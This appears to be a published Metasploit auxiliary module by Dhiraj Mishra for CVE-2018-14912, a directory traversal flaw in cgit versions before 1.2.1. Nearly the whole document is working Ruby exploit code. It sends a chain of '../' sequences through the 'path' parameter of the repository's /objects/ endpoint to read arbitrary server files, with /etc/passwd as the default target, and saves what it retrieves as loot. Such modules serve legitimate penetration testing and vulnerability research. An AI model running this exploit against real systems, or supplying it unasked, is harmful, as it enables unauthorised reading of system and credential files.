cgit 1.2.1 – Directory Traversal (Metasploit)
# Title: cgit 1.2.1 - Directory Traversal (Metasploit) # Author: Dhiraj Mishra # Software: cgit # Link: https://git.zx2c4.com/cgit/ # Date: 2018-08-14 # CVE: CVE-2018-14912 # This module exploits a directory traversal vulnerability which exists # in cgit < 1.2.1 cgit_clone_objects(), reachable when the configuration # flag enable-http-clone is set to 1 (default). ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'cgit Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability which exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default). }, 'References' => [ ['CVE', '2018-14912'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'], ['EDB', '45148'] ], 'Author' => [ 'Google Project Zero', # Vulnerability discovery 'Dhiraj Mishra' # Metasploit module ], 'DisclosureDate' => 'Aug 03 2018', 'License' => MSF_LICENSE )) register_options( [ OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']), OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']), OptString.new('REPO', [true, "Git repository on the remote server", '']), OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ]) ]) end def run_host(ip) filename = datastore['FILEPATH'] traversal = "../" * datastore['DEPTH'] << filename res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'), 'vars_get' => {'path' => traversal} }) unless res && res.code == 200 print_error('Nothing was downloaded') return end vprint_good("#{peer} - \n#{res.body}") path = store_loot( 'cgit.traversal', 'text/plain', ip, res.body, filename ) print_good("File saved in: #{path}") end end |